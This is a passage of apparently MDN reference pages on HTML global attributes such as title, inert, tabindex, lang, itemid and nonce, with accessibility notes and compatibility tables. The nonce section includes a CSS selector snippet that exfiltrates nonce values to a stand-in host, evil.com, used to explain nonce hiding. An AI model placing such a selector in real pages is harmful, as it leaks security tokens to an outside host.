attribute is to label [`<iframe>`](../element/iframe) elements for assistive technology. The `title` attribute may also be used to label controls in [data tables](../element/table). The `title` attribute, when added to [`<link rel="stylesheet">`](../element/link), creates an alternate stylesheet. When defining an alternative style sheet with `<link rel="alternate">` the attribute is required and must be set to a non-empty string. If included on the [`<abbr>`](../element/abbr) opening tag, the `title` must be a full expansion of the abbreviation or acronym. Instead of using `title`, when possible, provide an expansion of the abbreviation or acronym in plain text on first use, using the `<abbr>` to mark up the abbreviation. This enables all users know what name or term the abbreviation or acronym shortens while providing a hint to user agents on how to announce the content. While `title` can be used to provide a programmatically associated label for an [`<input>`](../element/input) element, this is not good practice. Use a [`<label>`](../element/label) instead. Multiline titles ---------------- The `title` attribute may contain several lines. Each `U+000A LINE FEED` (`LF`) character represents a line break. Some caution must be taken, as this means the following renders across two lines: ### HTML ``` <p> Newlines in <code>title</code> should be taken into account, like <span title="This is a multiline title" >example</span>. </p> ``` ### Result Title attribute inheritance --------------------------- If an element has no `title` attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on. If this attribute is set to the empty string, it means its ancestors' `title`s are irrelevant and shouldn't be used in the tooltip for this element. ### HTML ``` <div title="CoolTip"> <p>Hovering here will show "CoolTip".</p> <p title="">Hovering here will show nothing.</p> </div> ``` ### Result Accessibility concerns ---------------------- Use of the `title` attribute is highly problematic for: * People using touch-only devices * People navigating with keyboards * People navigating with assistive technology such as screen readers or magnifiers * People experiencing fine motor control impairment * People with cognitive concerns This is due to inconsistent browser support, compounded by the additional assistive technology parsing of the browser-rendered page. If a tooltip effect is desired, it is better to [use a more accessible technique](https://inclusive-components.design/tooltips-toggletips/) that can be accessed with the above browsing methods. * [3.2.5.1. The title attribute | W3C HTML 5.2: 3. Semantics, structure, and APIs of HTML documents](https://html.spec.whatwg.org/multipage/dom.html#the-title-attribute) * [Using the HTML title attribute – updated | The Paciello Group](https://www.tpgi.com/using-the-html-title-attribute-updated/) * [Tooltips & Toggletips - Inclusive Components](https://inclusive-components.design/tooltips-toggletips/) * [The Trials and Tribulations of the Title Attribute - 24 Accessibility](https://www.24a11y.com/2017/the-trials-and-tribulations-of-the-title-attribute/) Specifications -------------- | Specification | | --- | | [HTML Standard # the-title-attribute](https://html.spec.whatwg.org/multipage/dom.html#the-title-attribute) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `title` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | | `multi-line-support` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | No | No | Yes | See also -------- * All [global attributes](../global_attributes). * [`HTMLElement.title`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/title) that reflects this attribute. html inert inert ===== The `inert` [global attribute](../global_attributes) is a Boolean attribute indicating that the browser will ignore the element. With the `inert` attribute, all of the element's flat tree descendants (such as modal [`<dialog>`](../element/dialog)s) that don't otherwise escape inertness are ignored. The `inert` attribute also makes the browser ignore input events sent by the user, including focus-related events and events from assistive technologies. Specifically, `inert` does the following: * Prevents the [`click`](https://developer.mozilla.org/en-US/docs/Web/API/Element/click_event) event from being fired when the user clicks on the element. * Prevents the [`focus`](https://developer.mozilla.org/en-US/docs/Web/API/Element/focus_event) event from being raised by preventing the element from gaining focus. * Hides the element and its content from assistive technologies by excluding them from the accessibility tree. ``` <body inert> <!-- content --> </body> ``` The `inert` attribute can be added to sections of content that should not be interactive. When an element is inert, it along with all of the element's descendants, including normally interactive elements such as links, buttons, and form controls are disabled because they cannot receive focus or be clicked. The `inert` attribute can also be added to elements that should be offscreen or hidden. An inert element, along with its descendants, gets removed from the tab order and accessibility tree. **Note:** While `inert` is a global attribute and can be applied to any element, it is generally used for sections of content. To make individual controls "inert", consider using the [`disabled`](../attributes/disabled) attribute, along with CSS [`:disabled`](https://developer.mozilla.org/en-US/docs/Web/CSS/:disabled) styles, instead. Accessibility concerns ---------------------- Use careful consideration for accessibility when applying the `inert` attribute. By default, there is no visual way to tell whether or not an element or its subtree is inert. As a web developer, it is your responsibility to clearly indicate the content parts that are active and those that are inert. While providing visual and non-visual cues about content inertness, also remember that the visual viewport may contain only sections of content. Users may be zoomed in to a small section of content, or users may not be able to view the content at all. Inert sections not being obviously inert can lead to frustration and bad user experience. Specifications -------------- | Specification | | --- | | [HTML Standard # the-inert-attribute](https://html.spec.whatwg.org/multipage/interaction.html#the-inert-attribute) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `inert` | 102 | 102 | No | No | 47 | 15.5 | 102 | 102 | No | 70 | 15.5 | 19.0 | See also -------- * HTML [`<dialog>`](../element/dialog) element * [Introducing inert](https://developer.chrome.com/articles/inert/) * [The "inert" attribute is finally coming to the web](https://www.stefanjudis.com/blog/the-inert-attribute-is-finally-coming-to-the-web/) html virtualkeyboardpolicy virtualkeyboardpolicy ===================== The `virtualkeyboardpolicy` [global attribute](../global_attributes) is an enumerated attribute. When specified on an element that also uses the [`contenteditable`](../global_attributes#contenteditable) attribute, it controls the on-screen virtual keyboard behavior on devices such as tablets, mobile phones, or other devices where a hardware keyboard may not be available. The attribute must take one of the following values: * `auto` or an *empty string*, which automatically shows the virtual keyboard when the element is focused or tapped. * `manual`, which decouples focus and tap on the element from the virtual keyboard's state. Specifications -------------- **No specification found**No specification data found for `html.global_attributes.virtualkeyboardpolicy`. [Check for problems with this page](#on-github) or contribute a missing `spec_url` to [mdn/browser-compat-data](https://github.com/mdn/browser-compat-data). Also make sure the specification is included in [w3c/browser-specs](https://github.com/w3c/browser-specs). Browser compatibility --------------------- No compatibility data found for `html.global_attributes.virtualkeyboardpolicy`. [Check for problems with this page](#on-github) or contribute missing data to [mdn/browser-compat-data](https://github.com/mdn/browser-compat-data). See also -------- * All [global attributes](../global_attributes) * [`HTMLElement.contentEditable`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/contentEditable) and [`HTMLElement.isContentEditable`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/isContentEditable) * [The VirtualKeyboard API](https://developer.mozilla.org/en-US/docs/Web/API/VirtualKeyboard_API) html tabindex tabindex ======== The `tabindex` [global attribute](../global_attributes) indicates that its element can be focused, and where it participates in sequential keyboard navigation (usually with the `Tab` key, hence the name). Try it ------ It accepts an integer as a value, with different results depending on the integer's value: * A *negative value* (usually `tabindex="-1"`) means that the element is not reachable via sequential keyboard navigation, but could be focused with JavaScript or visually by clicking with the mouse. It's mostly useful to create accessible widgets with JavaScript. **Note:** A negative value is useful when you have off-screen content that appears on a specific event. The user won't be able to focus any element with a negative `tabindex` using the keyboard, but a script can do so by calling the `focus()` [method](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/focus). * `tabindex="0"` means that the element should be focusable in sequential keyboard navigation, after any positive tabindex values and its order is defined by the document's source order. * A *positive value* means the element should be focusable in sequential keyboard navigation, with its order defined by the value of the number. That is, `tabindex="4"` is focused before `tabindex="5"` and `tabindex="0"`, but after `tabindex="3"`. If multiple elements share the same positive `tabindex` value, their order relative to each other follows their position in the document source. The maximum value for `tabindex` is 32767. If not specified, it takes the default value 0. **Warning:** Avoid using `tabindex` values greater than 0. Doing so makes it difficult for people who rely on assistive technology to navigate and operate page content. Instead, write the document with the elements in a logical sequence. The `tabindex` attribute must not be specified on [`<dialog>`](../element/dialog) elements and should not be used on non-interactive content. If you set the `tabindex` attribute on a [`<div>`](../element/div), then its child content cannot be scrolled with the arrow keys unless you set `tabindex` on the content, too. [Check out this fiddle to understand the scrolling effects of `tabindex`](https://jsfiddle.net/jainakshay/0b2q4Lgv/). Accessibility concerns ---------------------- Avoid using the `tabindex` attribute in conjunction with non-[interactive content](../content_categories#interactive_content) to make something intended to be interactive focusable by keyboard input. An example of this would be using a [`<div>`](../element/div) element to describe a button, instead of the [`<button>`](../element/button) element. Interactive components authored using non-interactive elements are not listed in the [accessibility tree](https://developer.mozilla.org/en-US/docs/Learn/Accessibility/What_is_accessibility#accessibility_apis). This prevents assistive technology from being able to navigate to and manipulate those components. The content should be semantically described using interactive elements ([`<a>`](../element/a), [`<button>`](../element/button), [`<details>`](../element/details), [`<input>`](../element/input), [`<select>`](../element/select), [`<textarea>`](../element/textarea), etc.) instead. These elements have built-in roles and states that communicate status to the accessibility that would otherwise have to be managed by [ARIA](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA). * [Using the tabindex attribute | The Paciello Group](https://www.tpgi.com/using-the-tabindex-attribute/) Specifications -------------- | Specification | | --- | | [HTML Standard # attr-tabindex](https://html.spec.whatwg.org/multipage/interaction.html#attr-tabindex) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `tabindex` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * All [global attributes](../global_attributes) * [`HTMLElement.tabIndex`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/tabIndex) that reflects this attribute * Accessibility problems with `tabindex`: see [Don't Use Tabindex Greater than 0](https://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html) by Adrian Roselli html lang lang ==== The `lang` [global attribute](../global_attributes) helps define the language of an element: the language that non-editable elements are written in, or the language that the editable elements should be written in by the user. The attribute contains a single "language tag" in the format defined in [RFC 5646: Tags for Identifying Languages (also known as BCP 47)](https://datatracker.ietf.org/doc/html/rfc5646). **Note:** The default value of `lang` is `unknown`, therefore it is recommended to always specify this attribute with the appropriate value. Try it ------ If the attribute value is the *empty string* (`lang=""`), the language is set to *unknown*; if the language tag is not valid according to BCP47, it is set to *invalid*. Even if the **lang** attribute is set, it may not be taken into account, as the [**xml:lang**](../global_attributes#attr-xml:lang) attribute has priority. For the CSS pseudo-class [`:lang`](https://developer.mozilla.org/en-US/docs/Web/CSS/:lang), two invalid language names are different if their names are different. So while `:lang(es)` matches both `lang="es-ES"` and `lang="es-419"`, `:lang(xyzzy)` would *not* match `lang="xyzzy-Zorp!"`. Language tag syntax ------------------- The full BCP47 syntax is in-depth enough to mark extremely specific language dialects, but most usage is much simpler. A language tag is made of hyphen-separated *language subtags*, where each subtag indicates a certain property of the language. The 3 most common subtags are: Language subtag Required. A 2-or-3-character code that defines the basic language, typically written in all lowercase. For example, the language code for English is `en`, and the code for Badeshi is `bdz`. Script subtag Optional. This subtag defines the writing system used for the language, and is always 4 characters long, with the first letter capitalized. For example, French-in-Braille is `fr-Brai` and `ja-Kana` is Japanese written with the Katakana alphabet. If the language is written in a highly typical way, like English in the Latin alphabet, there is no need to use this subtag. Region subtag Optional. This subtag defines a dialect of the base language from a particular location, and is either 2 letters in ALLCAPS matching a country code, or 3 numbers matching a non-country area. For example, `es-ES` is for Spanish as spoken in Spain, and `es-013` is Spanish as spoken in Central America. "International Spanish" would just be `es`. The script subtag precedes the region subtag if both are present — `ru-Cyrl-BY` is Russian, written in the Cyrillic alphabet, as spoken in Belarus. To find the correct subtag codes for a language, try [the Language Subtag Lookup](https://r12a.github.io/app-subtags/). Accessibility ------------- WCAG Success Criterion 3.1.1 **requires** that a page language is specified in a way which may be 'programmatically determined' (i.e. via the `lang` attribute). WCAG Success Criterion 3.1.2 requires that pages with **parts** in different languages have the languages of those parts specified too. Again, the `lang` attribute is the correct mechanism for this. The purpose of these requirements is primarily to allow assistive technologies such as screen readers to invoke the correct pronunciation. For example, the language menu on this site (MDN) includes a `lang` attribute for each entry: ``` <div class="dropdown-container language-menu"> <button id="header-language-menu" type="button" class="dropdown-menu-label" aria-haspopup="true" aria-owns="language-menu" aria-label="Current language is English. Choose your preferred language."> English <span class="dropdown-arrow-down" aria-hidden="true">▼</span> </button> <ul id="language-menu" class="dropdown-menu-items right show" aria-expanded="true" role="menu"> <li lang="ca" role="menuitem"> <a href="/ca/docs/Web/HTML/Global\_attributes/lang" title="Catalan"> <bdi>Català</bdi> </a> </li> <li lang="de" role="menuitem"> <a href="/de/docs/Web/HTML/Globale\_Attribute/lang" title="German"> <bdi>Deutsch</bdi> </a> </li> <li lang="es" role="menuitem"> <a href="/es/docs/Web/HTML/Atributos\_Globales/lang" title="Spanish"> <bdi>Español</bdi> </a> </li> <li lang="fr" role="menuitem"> <a href="/fr/docs/Web/HTML/Attributs\_universels/lang" title="French"> <bdi>Français</bdi> </a> </li> <li lang="ja" role="menuitem"> <a href="/ja/docs/Web/HTML/Global\_attributes/lang" title="Japanese"> <bdi>日本語</bdi> </a> </li> <li lang="ko" role="menuitem"> <a href="/ko/docs/Web/HTML/Global\_attributes/lang" title="Korean"> <bdi>한국어</bdi> </a> </li> <li lang="pt-BR" role="menuitem"> <a href="/pt-BR/docs/Web/HTML/Global\_attributes/lang" title="Portuguese (Brazilian)"> <bdi>Português (do&nbsp;Brasil)</bdi> </a> </li> <li lang="ru" role="menuitem"> <a href="/ru/docs/Web/HTML/Global\_attributes/lang" title="Russian"> <bdi>Русский</bdi> </a> </li> <li lang="uk" role="menuitem"> <a href="/uk/docs/Web/HTML/%D0%97%D0%B0%D0%B3%D0%B0%D0%BB%D1%8C%D0%BD%D1%96\_%D0%B0%D1%82%D1%80%D0%B8%D0%B1%D1%83%D1%82%D0%B8/lang" title="Ukrainian"> <bdi>Українська</bdi> </a> </li> <li lang="zh-CN" role="menuitem"> <a href="/zh-CN/docs/Web/HTML/Global\_attributes/lang" title="Chinese (Simplified)"> <bdi>中文 (简体)</bdi> </a> </li> <li> <a href="/en-US/docs/Web/HTML/Global\_attributes/lang$locales" rel="nofollow" id="translations-add"> Add a translation </a> </li> </ul> </div> ``` Specifications -------------- | Specification | | --- | | [HTML Standard # attr-lang](https://html.spec.whatwg.org/multipage/dom.html#attr-lang) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `lang` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * All [global attributes](../global_attributes). * [`Content-Language` HTTP Header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Language) * HTML [`translate`](../global_attributes#translate) attribute
programming_docs
html itemid itemid ====== The `itemid` [global attribute](../global_attributes) provides microdata in the form of a unique, global identifier of an item. An `itemid` attribute can only be specified for an element that has both [`itemscope`](itemscope) and [`itemtype`](itemtype) attributes. Also, `itemid` can only be specified on elements that possess an `itemscope` attribute whose corresponding `itemtype` refers to or defines a vocabulary that supports global identifiers. The exact meaning of an `itemtype`'s global identifier is provided by the definition of that identifier within the specified vocabulary. The vocabulary defines whether several items with the same global identifier can coexist and, if so, how items with the same identifier are handled. **Note:** The [WHATWG](https://developer.mozilla.org/en-US/docs/Glossary/WHATWG) definition specifies that an `itemid` must be a [URL](https://developer.mozilla.org/en-US/docs/Glossary/URL). However, the following example correctly illustrates that a [URN](https://developer.mozilla.org/en-US/docs/Glossary/URN) may also be used. This inconsistency may reflect the incomplete nature of the Microdata specification. Examples -------- ### Representing structured data for a book This example uses microdata attributes to represent the following structured data: | | | | | --- | --- | --- | | itemscope | itemtype: itemid | https://schema.org/Book: urn:isbn:0-374-22848-5 | | itemprop | title | Owls of the Eastern Ice | | itemprop | author | Jonathan C Slaght | | itemprop | datePublished | 2020-08-04 | #### HTML ``` <dl itemscope itemtype="https://schema.org/Book" itemid="urn:isbn:0-374-22848-5<"> <dt>Title</dt> <dd itemprop="title">Owls of the Eastern Ice</dd> <dt>Author</dt> <dd itemprop="author">Jonathan C Slaght</dd> <dt>Publication date</dt> <dd> <time itemprop="datePublished" datetime="2020-08-04">August 4 2020</time> </dd> </dl> ``` #### Result Specifications -------------- | Specification | | --- | | [HTML Standard # attr-itemid](https://html.spec.whatwg.org/multipage/microdata.html#attr-itemid) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `itemid` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * All [global attributes](../global_attributes). * Other microdata related global attributes: + [`itemprop`](itemprop) + [`itemref`](itemref) + [`itemscope`](itemscope) + [`itemtype`](itemtype) html part part ==== The `part` [global attribute](../global_attributes) contains a space-separated list of the part names of the element. Part names allows CSS to select and style specific elements in a shadow tree via the [`::part`](https://developer.mozilla.org/en-US/docs/Web/CSS/::part) pseudo-element. See our [Shadow part example](https://mdn.github.io/web-components-examples/shadow-part/) for a usage example. Specifications -------------- | Specification | | --- | | [CSS Shadow Parts # part-attr](https://w3c.github.io/csswg-drafts/css-shadow-parts/#part-attr) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `part` | 73 | 79 | 72 | No | 60 | 13.1 | 73 | 73 | No | ? | 13.4 | 11.0 | See also -------- * All [global attributes](../global_attributes). html class class ===== The `class` [global attribute](../global_attributes) is a space-separated list of the case-sensitive classes of the element. Classes allow CSS and JavaScript to select and access specific elements via the [class selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/Class_selectors) or functions like the DOM method [`document.getElementsByClassName`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByClassName). Try it ------ Though the specification doesn't put requirements on the name of classes, web developers are encouraged to use names that describe the semantic purpose of the element, rather than the presentation of the element. For example, *attribute* to describe an attribute rather than *italics*, although an element of this class may be presented by *italics*. Semantic names remain logical even if the presentation of the page changes. Specifications -------------- | Specification | | --- | | [HTML Standard # global-attributes:classes-2](https://html.spec.whatwg.org/multipage/dom.html#global-attributes:classes-2) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `class` | Yes | 12 | 32 | Yes | Yes | Yes | Yes | Yes | 32 | Yes | Yes | Yes | See also -------- * All [global attributes](../global_attributes). * [`element.className`](https://developer.mozilla.org/en-US/docs/Web/API/Element/className) * [`element.classList`](https://developer.mozilla.org/en-US/docs/Web/API/Element/classList) * [Introduction to CSS](https://developer.mozilla.org/en-US/docs/Learn/CSS) html accesskey accesskey ========= The `accesskey` [global attribute](../global_attributes) provides a hint for generating a keyboard shortcut for the current element. The attribute value must consist of a single printable character (which includes accented and other characters that can be generated by the keyboard). Try it ------ **Note:** In the WHATWG spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports. However, this does not work in most browsers. IE/Edge uses the first one it supports without problems, provided there are no conflicts with other commands. The way to activate the accesskey depends on the browser and its platform: | | Windows | Linux | Mac | | --- | --- | --- | --- | | Firefox | `Alt` + `Shift` + `*key*` | On Firefox 57 or newer: `Control` + `Option` + `*key*` or `Control` + `Alt` + `*key*`On Firefox 14 or newer: `Control` + `Alt` + `*key*`On Firefox 13 or older: `Control` + `*key*` | | Internet Explorer | `Alt` + `*key*``Alt` + `Shift` + `*key*` | N/A | | Edge | N/A | `Control` + `Option` + `*key*``Control` + `Option` + `Shift` + `*key*` | | Google Chrome | `Alt` + `*key*` | | Safari | N/A | | Opera 15+ | `Alt` + `*key*` | `Control` + `Alt` + `*key*` | | Opera 12 | `Shift` + `Esc` opens a contents list which are accessible by accesskey, then, can choose an item by pressing `*key*` | Accessibility concerns ---------------------- In addition to poor browser support, there are numerous concerns with the `accesskey` attribute: * An `accesskey` value can conflict with a system or browser keyboard shortcut, or assistive technology functionality. What may work for one combination of operating system, assistive technology, and browser may not work with other combinations. * Certain `accesskey` values may not be present on certain keyboards, especially when internationalization is a concern. So adapting to specific languages could cause further problems. * `accesskey` values that rely on numbers may be confusing to individuals experiencing cognitive concerns, where the number doesn't have a logical association with the functionality it triggers. * Informing the user that `accesskey`s are present, so that they are aware of the functionality. If the system lacks a method of notifying the user about this feature, the user might accidentally activate `accesskey`s. Because of these issues, it is generally advised not to use `accesskey`s for most general-purpose websites and web apps. * [WebAIM: Keyboard Accessibility - Accesskey](https://webaim.org/techniques/keyboard/accesskey#spec) Specifications -------------- | Specification | | --- | | [HTML Standard # the-accesskey-attribute](https://html.spec.whatwg.org/multipage/interaction.html#the-accesskey-attribute) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `accesskey` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- * [`HTMLElement.accessKey`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/accessKey) * [`HTMLElement.accessKeyLabel`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/accessKeyLabel) * All [global attributes](../global_attributes). * [`aria-keyshortcuts`](https://www.w3.org/TR/wai-aria-1.1/#aria-keyshortcuts) html slot slot ==== The `slot` [global attribute](../global_attributes) assigns a slot in a [shadow DOM](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM) shadow tree to an element: An element with a `slot` attribute is assigned to the slot created by the [`<slot>`](../element/slot) element whose [`name`](../element/slot#attr-name) attribute's value matches that `slot` attribute's value. For examples, see our [Using templates and slots](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_templates_and_slots) guide. Specifications -------------- | Specification | | --- | | [HTML Standard # attr-slot](https://html.spec.whatwg.org/multipage/dom.html#attr-slot) | | [DOM Standard # ref-for-dom-element-slot①](#) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `slot` | 53 | ≤79 | 63 | No | 40 | 10 | 53 | 53 | 63 | 41 | 10 | 6.0 | See also -------- * All [global attributes](../global_attributes). html nonce nonce ===== The `nonce` [global attribute](../global_attributes) is a content attribute defining a cryptographic nonce ("number used once") which can be used by [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) to determine whether or not a given fetch will be allowed to proceed for a given element. Description ----------- The `nonce` attribute is useful to allowlist specific elements, such as a particular inline script or style elements. It can help you to avoid using the [CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) `unsafe-inline` directive, which would allowlist *all* inline scripts or styles. **Note:** Only use `nonce` for cases where you have no way around using unsafe inline script or style contents. If you don't need `nonce`, don't use it. If your script is static, you could also use a CSP hash instead. (See usage notes on [unsafe inline script](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#unsafe_inline_script).) Always try to take full advantage of [CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) protections and avoid nonces or unsafe inline scripts whenever possible. ### Using nonce to allowlist a <script> element There are a few steps involved to allowlist an inline script using the nonce mechanism: #### Generating values From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs: ``` const crypto = require("crypto"); crypto.randomBytes(16).toString("base64"); // '8IBTHwOdqNKAWeKl7plt8g==' ``` #### Allowlisting inline script The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist: ``` <script nonce="8IBTHwOdqNKAWeKl7plt8g=="> // … </script> ``` #### Sending a nonce with a CSP header Finally, you'll need to send the nonce value in a [`Content-Security-Policy`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) header (prepend `nonce-`): ``` Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g==' ``` ### Accessing nonces and nonce hiding For security reasons, the `nonce` content attribute is hidden (an empty string will be returned). ``` script.getAttribute("nonce"); // returns empty string ``` The [`nonce`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/nonce) property is the only way to access nonces: ``` script.nonce; // returns nonce value ``` Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this: ``` script[nonce~="whatever"] { background: url("https://evil.com/nonce?whatever"); } ``` Specifications -------------- | Specification | | --- | | [HTML Standard # attr-nonce](https://html.spec.whatwg.org/multipage/urls-and-fetching.html#attr-nonce) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `nonce` | Yes | Yes | 31 | No | Yes | Yes | Yes | Yes | 31 | Yes | Yes | Yes | | `nonce_hiding` | 61 | 79 | 75 | No | 48 | No See [bug 179728](https://webkit.org/b/179728). | 61 | 61 | 79 | 45 | No See [bug 179728](https://webkit.org/b/179728). | 8.0 | See also -------- * [`HTMLElement.nonce`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/nonce) * [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) * CSP: [`script-src`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) html autocapitalize autocapitalize ============== The `autocapitalize` [global attribute](../global_attributes) is an [enumerated](https://developer.mozilla.org/en-US/docs/Glossary/Enumerated) attribute that controls whether and how text input is automatically capitalized as it is entered/edited by the user. The attribute must take one of the following values: * `off` or `none`: No autocapitalization is applied (all letters default to lowercase) * `on` or `sentences`: The first letter of each sentence defaults to a capital letter; all other letters default to lowercase * `words`: The first letter of each word defaults to a capital letter; all other letters default to lowercase * `characters`: All letters should default to uppercase The `autocapitalize` attribute doesn't affect behavior when typing on a physical keyboard. Instead, it affects the behavior of other input mechanisms, such as virtual keyboards on mobile devices and voice input. The behavior of such mechanisms is that they often assist users by automatically capitalizing the first letter of sentences. The `autocapitalize` attribute enables authors to override that behavior per-element. The `autocapitalize` attribute never causes autocapitalization to be enabled for an [`<input>`](../element/input) element with a [`type`](../element/input#attr-type) attribute whose value is `url`, `email`, or `password`. Specifications -------------- | Specification | | --- | | [HTML Standard # attr-autocapitalize](https://html.spec.whatwg.org/multipage/interaction.html#attr-autocapitalize) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `autocapitalize` | 43 | 79 | 83 | No | No | No | 43 | 43 | No | No | 5 | 4.0 | html style style ===== The `style` [global attribute](../global_attributes) contains [CSS](https://developer.mozilla.org/en-US/docs/Web/CSS) styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the [`<style>`](../element/style) element have mainly the purpose of allowing for quick styling, for example for testing purposes. Try it ------ **Note:** This attribute must not be used to convey semantic information. Even if all styling is removed, a page should remain semantically correct. Typically it shouldn't be used to hide irrelevant information; this should be done using the [`hidden`](hidden) attribute. Specifications -------------- | Specification | | --- | | [HTML Standard # the-style-attribute](https://html.spec.whatwg.org/multipage/dom.html#the-style-attribute) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `style` | Yes | 12 | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | Yes | See also -------- All [global attributes](../global_attributes). html data-* data-\* ======= The `data-*` [global attributes](../global_attributes) form a class of attributes called **custom data attributes**, that allow proprietary information to be exchanged between the [HTML](../index) and its [DOM](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) representation by scripts. Try it ------ All such custom data are available via the [`HTMLElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement) interface of the element the attribute is set on. The [`HTMLElement.dataset`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dataset) property gives access to them. The `*` may be replaced by any name following [the production rule of XML names](https://www.w3.org/TR/REC-xml/#NT-Name) with the following restrictions: * The name must not start with `xml` (case-insensitive). * The name must not contain any colon characters (`:`). * The name must not contain any capital letters. Note that the [`HTMLElement.dataset`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/dataset) property is a [`DOMStringMap`](https://developer.mozilla.org/en-US/docs/Web/API/DOMStringMap), and the name of the custom data attribute *data-test-value* will be accessible via `HTMLElement.dataset.testValue` (or by `HTMLElement.dataset["testValue"]`) as any dash (`U+002D`) is replaced by the capitalization of the next letter, converting the name to camelcase. ### Usage By adding `data-*` attributes, even ordinary HTML elements can become rather complex and powerful program-objects. For example, a space-ship "[sprite](https://en.wikipedia.org/wiki/Sprite_(computer_graphics))*"* in a game could be a simple [`<img>`](../element/img) element with a [`class`](class) attribute and several `data-*` attributes: ``` <img class="spaceship cruiserX3" src="shipX3.png" data-ship-id="324" data-weapons="laserI laserII" data-shields="72%" data-x="414354" data-y="85160" data-z="31940" onclick="spaceships[this.dataset.shipId].blasted()" /> ``` For a more in-depth tutorial about using HTML data attributes, see [Using data attributes](https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto/Use_data_attributes). Specifications -------------- | Specification | | --- | | [HTML Standard # attr-data-\*](https://html.spec.whatwg.org/multipage/dom.html#attr-data-*) | Browser compatibility --------------------- | | Desktop | 